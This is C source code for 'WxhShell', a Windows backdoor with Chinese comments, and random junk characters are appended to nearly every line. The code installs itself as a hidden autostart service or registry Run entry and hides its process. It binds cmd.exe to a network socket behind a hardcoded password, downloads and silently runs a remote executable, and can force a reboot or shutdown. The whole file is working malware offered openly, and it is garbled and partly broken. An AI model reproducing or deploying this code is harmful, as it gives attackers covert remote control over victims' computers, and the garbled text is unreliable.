    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \Z&Nd;o   
    if(Boot(SHUTDOWN)) -TH MTRFz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'A3skznX{  
    else { H(rD*R[  
    closesocket(wsh); XNv2xuOcJ  
    ExitThread(0); ^W,5A;*3  
    } (6Z^0GL  
    break; +E_yEH7_)  
    } {svo!pN:  
  // 获取shell  mPk'a  
  case 's': { XW" 0:}`J  
    CmdShell(wsh); ]| +M0:2?  
    closesocket(wsh); 9|#cjHf  
    ExitThread(0); IhYR4?e  
    break; JcA+ztPU  
  } F!wz{i6\h  
  // 退出 oSC'b%  
  case 'x': { -4& i t:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NX.xE W@  
    CloseIt(wsh); OmO#} k<  
    break; G7Sw\wW  
    } Wi'}d6c  
  // 离开 HOF$(86zqA  
  case 'q': { X["xC3 i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W%-XN   
    closesocket(wsh); 2_+>a"8Y  
    WSACleanup(); h%Nd89//  
    exit(1); ,7]hjf_h  
    break; A>1$?A8Q  
        } O9(z"c  
  } I}3F'}JV<  
  } g}xL7bTlI>  
N+rU|iMa.  
  // 提示信息 '#Au~5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =I@t%Y  
} r(46jV.sD:  
  } L2ydyXIsd  
_y_}/  
  return; wG3b{0  
} =abcLrf2G  
jk03 Hd  
// shell模块句柄 b j`\;_oo  
int CmdShell(SOCKET sock) YcN|L&R.  
{ )ffaOS!\  
STARTUPINFO si; nQjpJ /=  
ZeroMemory(&si,sizeof(si)); 7GYf#} N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :^v Q4/,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C,Nf|L((6  
PROCESS_INFORMATION ProcessInfo; 1 _?8OU  
char cmdline[]="cmd"; !m+Pd.4TaB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >|E]??v  
  return 0; 5M0Q'"`F:  
} L(VFzPkY%  
d8wVhZKI"  
// 自身启动模式 &aLTy&8Fv  
int StartFromService(void)  D}98ZKi  
{ 30! DraW8  
typedef struct (WyNO QO'  
{ e~N&?^M  
  DWORD ExitStatus; -AdDPWn  
  DWORD PebBaseAddress; /I=|;FGq  
  DWORD AffinityMask; X8$Mzeq  
  DWORD BasePriority; 5@w6pda  
  ULONG UniqueProcessId; &*=!B9OBI  
  ULONG InheritedFromUniqueProcessId; U]=yCEb8p  
}   PROCESS_BASIC_INFORMATION; z'EQdQ)  
%N*[{j= ^  
PROCNTQSIP NtQueryInformationProcess;  Sfz1p  
+[!S[KE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S\g9 @g.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I'4(Ibl+  
N3n]  
  HANDLE             hProcess; OlOOg  
  PROCESS_BASIC_INFORMATION pbi; i/x |c!E  
)4L2&e`k)(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^ ` y7JXI:  
  if(NULL == hInst ) return 0; CUu Owx6%  
4 XjwU`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a)QT#.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1;ttwF>G7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9|1msg4  
$r/$aq=K  
  if (!NtQueryInformationProcess) return 0; }qn>#ETi  
.N X9A b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e= IdqkJ%  
  if(!hProcess) return 0; ]F4QZV( M  
,|:.0g[n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qzUiBwUi@  
y2jv84 M  
  CloseHandle(hProcess); _O`p(6  
h0tiWHw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o5o myMN  
if(hProcess==NULL) return 0; P%aqY~yF3  
xsZG(Tz  
HMODULE hMod; x77L"5g  
char procName[255]; 2/&=:,"t,B  
unsigned long cbNeeded; pl`4&y%Me  
&Hb%Q! ^Kb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "lh4Vg\7n  
 J=` 8  
  CloseHandle(hProcess); tO M$'0u  
; llPM`)  
if(strstr(procName,"services")) return 1; // 以服务启动 {N4 'g_  
4z0gyCAC A  
  return 0; // 注册表启动 .l1x~(  
} ?+t;\  
ys9:";X;}  
// 主模块 |]?f6^ |4  
int StartWxhshell(LPSTR lpCmdLine) F1#{(uW  
{ q`*.F#/4c  
  SOCKET wsl; |[?Otv  
BOOL val=TRUE; ieZ$@3#&z  
  int port=0; n n7LL+h  
  struct sockaddr_in door; zm&[K53  
2{79,Js0  
  if(wscfg.ws_autoins) Install(); lVvcrU  
os/h~,=  
port=atoi(lpCmdLine); fsL9d}  
@+b$43 ^  
if(port<=0) port=wscfg.ws_port; f24W*#IX  
q/EX`%U  
  WSADATA data; *9\j1Nd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?b]zsku8  
 LCor T-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?Q"andf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /wJ#-DZ  
  door.sin_family = AF_INET; & =[!L0{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @z1QoZ^w  
  door.sin_port = htons(port); \zBi-GI7  
ZNBowZI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ` UsJaoR#f  
closesocket(wsl); ?Lg<)B9   
return 1; EF)BezG5y  
} 5?0<.f,  
R-Edht|{  
  if(listen(wsl,2) == INVALID_SOCKET) { syl7i>P  
closesocket(wsl); W.j^L;  
return 1; _k@cs^  
} $JY \q2  
  Wxhshell(wsl); OJ&'Z}LB  
  WSACleanup(); w;O-ATUzN  
cGlN*GJ*H  
return 0; +#Pb@^6"m  
##jJa SxG  
} k{qxsNM  
,Cr%2Wg-  
// 以NT服务方式启动 &>jz[3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q!l(2nva  
{ Y$JVxly  
DWORD   status = 0; 8_%GH}{  
  DWORD   specificError = 0xfffffff; AG,><UP  
dmF=8nff  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q;e b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #/YS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kLgkUck8]  
  serviceStatus.dwWin32ExitCode     = 0; T?1BcY  
  serviceStatus.dwServiceSpecificExitCode = 0; c(Dp`f,  
  serviceStatus.dwCheckPoint       = 0; |S8$NI2  
  serviceStatus.dwWaitHint       = 0; :!aLa}`@  
;%n'k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~@'wqGTp  
  if (hServiceStatusHandle==0) return; +xYu@r%R  
YS|Dw'%g /  
status = GetLastError(); $Tbsre\MJ  
  if (status!=NO_ERROR) 5;)^o3X>  
{ UT3Fi@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8eB,$;i  
    serviceStatus.dwCheckPoint       = 0; kkl'D!z2g  
    serviceStatus.dwWaitHint       = 0; l[E^nh>  
    serviceStatus.dwWin32ExitCode     = status; h .Qk{v  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7!J-/#!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jqxd92 bI  
    return; "1a;);S=*)  
  } |ke0G  
-64l f-<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /9_%NR[  
  serviceStatus.dwCheckPoint       = 0; l#[Z$+!09  
  serviceStatus.dwWaitHint       = 0; (HRj0,/^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n-9xfn0U~#  
} XM\\Imw  
>w.;A%|N  
// 处理NT服务事件,比如:启动、停止 (G|!{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ](JrEg$K  
{ 6_`Bo%  
switch(fdwControl) f/Y&)#g>k  
{ [5&k{*}}  
case SERVICE_CONTROL_STOP: `CWhjL8^  
  serviceStatus.dwWin32ExitCode = 0; (2b${Q@V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F3bTFFt  
  serviceStatus.dwCheckPoint   = 0; 7hk<{gnr  
  serviceStatus.dwWaitHint     = 0; ^Laqq%PI  
  { e|k]te  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QT c{7&  
  } Wc@ ,#v  
  return; h7Uj "qH  
case SERVICE_CONTROL_PAUSE: ?s2-iuMPd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f\R_a/Us  
  break; PMsb"=Ds  
case SERVICE_CONTROL_CONTINUE: !=YEhQ-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?|ZbQz(bL  
  break; Ck/44Wfej  
case SERVICE_CONTROL_INTERROGATE: fTj@/"a  
  break; c'Z=uL<Rm  
}; O>DS%6/G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y]Nk^ga:U6  
} =q VT  
=2$ ( tXL  
// 标准应用程序主函数 C_J@:HlJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uX-^ 9t  
{ =d Q[I6  
uGZGI;9f4  
// 获取操作系统版本 |3~m8v2-  
OsIsNt=GetOsVer(); RG'iWA,9m`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C+' -TLeu  
%Yu~56c-  
  // 从命令行安装 "6d0j)YO  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5Y+YN1  
yy3x]%KK  
  // 下载执行文件 ;O7"!\  
if(wscfg.ws_downexe) { :E-$:\V0}k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H4ie$/[$8  
  WinExec(wscfg.ws_filenam,SW_HIDE); $IQPB_:  
} *6yY>LW  
fnq 3ic"V  
if(!OsIsNt) { ZiZ@3O6  
// 如果时win9x,隐藏进程并且设置为注册表启动 3t<a3"{9  
HideProc(); ]$ d ;P  
StartWxhshell(lpCmdLine); ~HIj+kN  
} [7}3k?42X  
else {dxFd-K3  
  if(StartFromService()) tMw65Xei6b  
  // 以服务方式启动 U5C]zswL  
  StartServiceCtrlDispatcher(DispatchTable); 9]v,3'QI  
else !L.R"8!  
  // 普通方式启动 )B]s.w  
  StartWxhshell(lpCmdLine); j4;^5 Dy^  
"73*0'm  
return 0; jSpj6:@B  
} l,J>[Q`<  
s?HK2b^;D  
=0?5hxMd  
lo!pslqsn  
=========================================== [yMSCCswW  
KKsVZ~<6u  
^N^G?{EV/#  
+.~K=.O)  
_>vH%FY  
@RPQ 1da  
" AZ(zM.y!#_  
S`vt\g$ dN  
#include <stdio.h> (kR NqfX  
#include <string.h> \0 ~?i6o  
#include <windows.h> rf=l1GW  
#include <winsock2.h> <P#BQt f  
#include <winsvc.h> [y8(v ~H  
#include <urlmon.h> 3: GwX4yW  
CzG[S\{+  
#pragma comment (lib, "Ws2_32.lib") jOT/|k  
#pragma comment (lib, "urlmon.lib") Stw g[K0<  
R[zN?  
#define MAX_USER   100 // 最大客户端连接数 ueJ^Q,-t  
#define BUF_SOCK   200 // sock buffer Ug+ K:YUq  
#define KEY_BUFF   255 // 输入 buffer cD]H~D}M  
DY#195H  
#define REBOOT     0   // 重启 q;#AlquY@  
#define SHUTDOWN   1   // 关机 ;SE*En  
qh.F}9o  
#define DEF_PORT   5000 // 监听端口 'o)Y!VYnJF  
1?BLL;[a8  
#define REG_LEN     16   // 注册表键长度 c1E{J <pZ  
#define SVC_LEN     80   // NT服务名长度 [s$x"Ex  
?;oJ=.T  
// 从dll定义API `xx.,;S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pnuo;rs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~qZ6I)?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $e+4Kt ,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u D(C jHM>  
.nZKy't   
// wxhshell配置信息 qR aPh:Q'  
struct WSCFG { kxKb}> =  
  int ws_port;         // 监听端口 2FZ T  
  char ws_passstr[REG_LEN]; // 口令 S!PG7hK2  
  int ws_autoins;       // 安装标记, 1=yes 0=no v@]SddP,?  
  char ws_regname[REG_LEN]; // 注册表键名 Z-lhJ<0/Pa  
  char ws_svcname[REG_LEN]; // 服务名 kcUn GiP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k.b=EX|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9ye!kYF,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =COQv=GT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qv(3qY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d-b<_k{p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :@)R@. -  
8?8V;   
}; <lR:^M[v5<  
a>l,H#w*vW  
// default Wxhshell configuration Tv1oy%dK  
struct WSCFG wscfg={DEF_PORT, s<LnUF1b  
    "xuhuanlingzhe", x"sbm  
    1, D7nK"]HG;l  
    "Wxhshell", T%oJmp?0  
    "Wxhshell", -ysNo4#e&  
            "WxhShell Service",  K!ILO  
    "Wrsky Windows CmdShell Service", 3Qd/X&P  
    "Please Input Your Password: ", T O]7cC  
  1, }J6:D]Q  
  "http://www.wrsky.com/wxhshell.exe", ^;ZpK@Luk  
  "Wxhshell.exe" -HGRrWS  
    }; 4 .c1  
&[{sA;  
// 消息定义模块 )C"ixZ>2xQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $1B?@~&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0R? @JC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7k,BE2]"  
char *msg_ws_ext="\n\rExit."; q)9n%- YgP  
char *msg_ws_end="\n\rQuit."; 2FaCrc/  
char *msg_ws_boot="\n\rReboot..."; N {{MMIq  
char *msg_ws_poff="\n\rShutdown..."; Q>Klkd5(  
char *msg_ws_down="\n\rSave to "; bvJ@H Z$  
7_PY%4T"  
char *msg_ws_err="\n\rErr!"; QxG^oxU}  
char *msg_ws_ok="\n\rOK!"; |pS]zD  
aV7VbC  
char ExeFile[MAX_PATH]; 9[JUJ,#X'0  
int nUser = 0; ;=$;h6W0  
HANDLE handles[MAX_USER]; st* sv}  
int OsIsNt; !&Q?ASJH  
"P?O1  
SERVICE_STATUS       serviceStatus; 1#c Tk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qE2VUEv5Y  
pTGGJ,  
// 函数声明 3#$X  
int Install(void); 1OExa<Zq  
int Uninstall(void); g_{N^wS  
int DownloadFile(char *sURL, SOCKET wsh); 6)0.q|Q  
int Boot(int flag); ;v\s7y  
void HideProc(void); n%29WF6Zf  
int GetOsVer(void); )V~=B]  
int Wxhshell(SOCKET wsl); s}". po]  
void TalkWithClient(void *cs); fZ &  
int CmdShell(SOCKET sock); x#3*C|A  
int StartFromService(void); u; KM[FmK  
int StartWxhshell(LPSTR lpCmdLine); LDEc}XXb  
~b*]jZwT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /0qbRk i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YFS6YA  
riOaqV  
// 数据结构和表定义 MvZa;B  
SERVICE_TABLE_ENTRY DispatchTable[] = L,.~VNy-  
{ jZ-s6r2=  
{wscfg.ws_svcname, NTServiceMain}, q/zU'7%@  
{NULL, NULL} *]HnFP  
}; ms5?^kS2O  
 s&pnB  
// 自我安装 9s_^?q  
int Install(void) tqpO3  
{ @Q,Q"c2  
  char svExeFile[MAX_PATH]; O!nS3%De  
  HKEY key; `XH0S`B  
  strcpy(svExeFile,ExeFile); Z" ;q w  
"G%</G8M  
// 如果是win9x系统,修改注册表设为自启动 w>9d^kU'  
if(!OsIsNt) { vVSDPlN;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v=iiS}s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lfi6b%/z  
  RegCloseKey(key); .Ja].hP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Z/,o)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NW5OLa")J<  
  RegCloseKey(key); Q;VuoHj!  
  return 0; o/7u7BQl2  
    } +'c+X^_  
  } 2Q%7J3I  
} 1D#-,#?  
else { 'I/_vqp@  
[5~mP`He  
// 如果是NT以上系统,安装为系统服务 ";=!PL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DqQ p47kp  
if (schSCManager!=0) _rB,N#{2R=  
{ -->0e{y  
  SC_HANDLE schService = CreateService CnL=s6XD'  
  ( PlH~um[J  
  schSCManager, HdxP:s.T  
  wscfg.ws_svcname, ou-UR5  
  wscfg.ws_svcdisp, l90"1I A  
  SERVICE_ALL_ACCESS, 2rT^OGw6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wjl)yo$z  
  SERVICE_AUTO_START, Q*T 'tkp  
  SERVICE_ERROR_NORMAL, <skqq+  
  svExeFile, ;x\oY6:  
  NULL, :Q"|%#P  
  NULL, 2H4vK]]Nl  
  NULL, y& yf&p  
  NULL, jG7PT66>;  
  NULL S j~SG  
  ); ="YGR:  
  if (schService!=0) B }%2FUv  
  { ~ C%I'z'  
  CloseServiceHandle(schService); nI]EfHU  
  CloseServiceHandle(schSCManager); <7Pp98si,u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r~)fAb?  
  strcat(svExeFile,wscfg.ws_svcname); T8A(W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3:nBl?G<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %\<b{x# G  
  RegCloseKey(key); kd^H}k  
  return 0; B ktRA  
    } SdYf^@%}F  
  } =${.*,o  
  CloseServiceHandle(schSCManager); op9dYjG7  
} b*?u+tWP_  
} ?p@J7{a  
`5@F'tKQ  
return 1; K{ar)_V/  
} .c-a$39  
&$/ #"lW,V  
// 自我卸载 d)vP9vXy  
int Uninstall(void) `Fn"QL-  
{ b`-|7<s  
  HKEY key; @5nFa~*K%  
@/<UhnI  
if(!OsIsNt) { KCTX2eNN&h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V#dga5*]  
  RegDeleteValue(key,wscfg.ws_regname);  '?9zL*  
  RegCloseKey(key); h[]9F.[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6"Fn$ :l?  
  RegDeleteValue(key,wscfg.ws_regname); t>cGfA  
  RegCloseKey(key); :Mu*E5  
  return 0; swF{}S"  
  } t 6nRg  
} P'U2hCif  
} WSHPh hM  
else { nf /*n  
p?Azn>qBa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lNL=Yu2p_  
if (schSCManager!=0) xW`y7Q}p  
{ \Vf:/9^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g&FTX>wX  
  if (schService!=0) g.Xk6"kO  
  { %)r ~GCd  
  if(DeleteService(schService)!=0) { r+FEgSDa]  
  CloseServiceHandle(schService); Gc|)4c  
  CloseServiceHandle(schSCManager); mtv8Bm=<  
  return 0; xrkl)7;  
  } B}d&tH2^s  
  CloseServiceHandle(schService); }'x;J   
  } GkJcd;  
  CloseServiceHandle(schSCManager); 3^y(@XFt  
} z l r !   
} k3#'g'>yh  
0ae8Xm3J@R  
return 1; Q>%n&;:  
} [ /o'l:  
q ;'f3Y  
// 从指定url下载文件 |GnTRahV.  
int DownloadFile(char *sURL, SOCKET wsh) uatUo  
{ yU v YV-7  
  HRESULT hr; C.jWT1  
char seps[]= "/"; f,HUr% @  
char *token; sApix=Lr  
char *file; , Z"<-%3  
char myURL[MAX_PATH]; EG>?>K_D  
char myFILE[MAX_PATH]; !?>V^#c  
}S/i3$F0~  
strcpy(myURL,sURL); 1]7gYNzV"  
  token=strtok(myURL,seps); ]P?< 2,  
  while(token!=NULL) -@#w)  
  { {z FME41>g  
    file=token; p u(mHB  
  token=strtok(NULL,seps); F^O83[S  
  } ~ 29p|X<  
!&VfOx:PN  
GetCurrentDirectory(MAX_PATH,myFILE); hN-@_XSw<I  
strcat(myFILE, "\\"); Py)ZHML  
strcat(myFILE, file); Uq  .6h  
  send(wsh,myFILE,strlen(myFILE),0); B?VTIq>  
send(wsh,"...",3,0); 7QsD"rL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @gI1:-chB  
  if(hr==S_OK) fM;,9  
return 0; Rg?6eN  
else 7N9NeSH  
return 1; )dT@0Ys%  
Vx_33";S\  
} [%P#ieD4  
CZ5\Et6r  
// 系统电源模块 %T/@/,7h  
int Boot(int flag) K!-OUm5A  
{ X$Vi=fvt  
  HANDLE hToken; e,U:H~+]  
  TOKEN_PRIVILEGES tkp; ]O x5F@  
BR2Gb~#T  
  if(OsIsNt) { po*G`b;v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I^ ?tF'E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kU<t~+  
    tkp.PrivilegeCount = 1; l[}4 X/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c2npma]DZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tq3_az ~1  
if(flag==REBOOT) { ;m(iKwDt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sl]< A[jR  
  return 0; E#k{<LYI  
} MYAt4cHc2  
else { OR <+y~Rv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (@1:1K(   
  return 0; 6CY&pbR  
} %=aKW[uq]  
  } XIW0Z C   
  else { {D +mr[ %  
if(flag==REBOOT) { oh9 ;_~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jm^.E\_  
  return 0; |YJ83nSO~  
} tEhg',2t(  
else { ,EB}IG ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z5>I9R^q;  
  return 0; H71sxek3  
} Wc3z7xK1@  
} HK@ij,px  
7zM:z,  
return 1; "j^i6RS  
} ( ay AP  
y?$DDD  
// win9x进程隐藏模块 '0+*  
void HideProc(void) 0t <nH%N}^  
{ $83B10OQ&L  
'/W$9jm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8|a./%gixs  
  if ( hKernel != NULL ) 3A7774n=P  
  { C 0w+ j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TQa}Ps  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %MHb  
    FreeLibrary(hKernel); U&5* >fd=  
  } Kgbm/L0XR*  
OviS(}v4@  
return; )kD/ 8  
} CKsVs.:u  
-pC8 L<  
// 获取操作系统版本 h@:K=gg K  
int GetOsVer(void) Zj`WRH4  
{ :KLXrr  
  OSVERSIONINFO winfo; uw)7N(os\`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ym%UuC3^w  
  GetVersionEx(&winfo); Ni,nQ;9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uDF;_bli)H  
  return 1; Fhoyji4  
  else M;(,0dk  
  return 0; UiFH*HT  
} V`V\/s gj  
=&HLz 7|  
// 客户端句柄模块 J!I)G&:  
int Wxhshell(SOCKET wsl) %Tm*^  
{ gAqK)@8-  
  SOCKET wsh; ?e7]U*jEU  
  struct sockaddr_in client; a)qan  
  DWORD myID; o5 L^  
F@w; .e!  
  while(nUser<MAX_USER) NTg@UT <  
{ IrLGAQ0  
  int nSize=sizeof(client); qL(Q1O!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }r:o8+4  
  if(wsh==INVALID_SOCKET) return 1; T<AT&4  
4fEDg{T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }cKB)N BJb  
if(handles[nUser]==0) pfA6?tP`  
  closesocket(wsh); U.%Kt,qB  
else UX 1 )((  
  nUser++; JfY*#({y  
  } ZCiCZ)oc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \8`?ir q"  
<xOv8IQ|  
  return 0; wQkM:=t5  
} +.G"ool  
s{hKl0ds  
// 关闭 socket UO/sv2CN  
void CloseIt(SOCKET wsh) :+rGBkw1m  
{ 7s9h:/Lu  
closesocket(wsh); wj|Zn+{"nF  
nUser--; Vz{+3vfra6  
ExitThread(0); ?6#won  
} c0!.ei  
.L'w/"O  
// 客户端请求句柄 0YeTS!*Aj  
void TalkWithClient(void *cs) -N *L1Zj  
{ EY}:aur  
em$pU*`P  
  SOCKET wsh=(SOCKET)cs; y_]+;%w:  
  char pwd[SVC_LEN]; @ZKf3,J0  
  char cmd[KEY_BUFF]; W U(_N*a  
char chr[1]; E8Dh;j  
int i,j; sV^:u^  
']]d-~:  
  while (nUser < MAX_USER) { r~w.J+W  
39pG-otJ  
if(wscfg.ws_passstr) { L * n K> +  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =bVPHrKNQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  >@ t  
  //ZeroMemory(pwd,KEY_BUFF); C@rGa7  
      i=0; R%E7 |NAG  
  while(i<SVC_LEN) { 2Xb, i  
6% D9;-N)  
  // 设置超时 " qI99e  
  fd_set FdRead; p{FI_6db  
  struct timeval TimeOut; Bf_$BCyGW  
  FD_ZERO(&FdRead); q}1ZuK`6  
  FD_SET(wsh,&FdRead); =W(*0"RM  
  TimeOut.tv_sec=8; B5e9'X^ [  
  TimeOut.tv_usec=0; p6VD*PT$&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z6jEj9?O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mf}M/Fh  
q2GW3t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D7Q+w  
  pwd=chr[0]; En5oi  
  if(chr[0]==0xd || chr[0]==0xa) { [3%mNNk  
  pwd=0; M>Q]{/V7T  
  break; lOIk$"Ne  
  } >4 OXG7.&f  
  i++;  ao(T81  
    } ~MpikBf  
;"3B,Yj  
  // 如果是非法用户,关闭 socket jYsAL=oh,*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c/{FDN  
} >.h:Y5  
,Z. sGv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rx%S<i;9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OWd'z1Yl  
GkIE;7#2kX  
while(1) { *bkb-n Kw  
!>UlvT-  
  ZeroMemory(cmd,KEY_BUFF); {Gxe%gu6K  
$YYWpeW '  
      // 自动支持客户端 telnet标准   <hT\xBb:  
  j=0; ^;C&  
  while(j<KEY_BUFF) { g7oY1;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %H{p&ms  
  cmd[j]=chr[0]; | HazM9=  
  if(chr[0]==0xa || chr[0]==0xd) { xO$P C,  
  cmd[j]=0; @hLkU4S  
  break; Cs $5Of(  
  } {]vD@)k  
  j++; >1y6DC  
    } ?ukw6T  
?Ua,ba*  
  // 下载文件 Tc2.ciU  
  if(strstr(cmd,"http://")) { VYyija:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W,q @ww u  
  if(DownloadFile(cmd,wsh)) nHK(3Z4G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V\~.  
  else 5dBftTv?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %36x'Dn ?  
  } Iq$| ?MH  
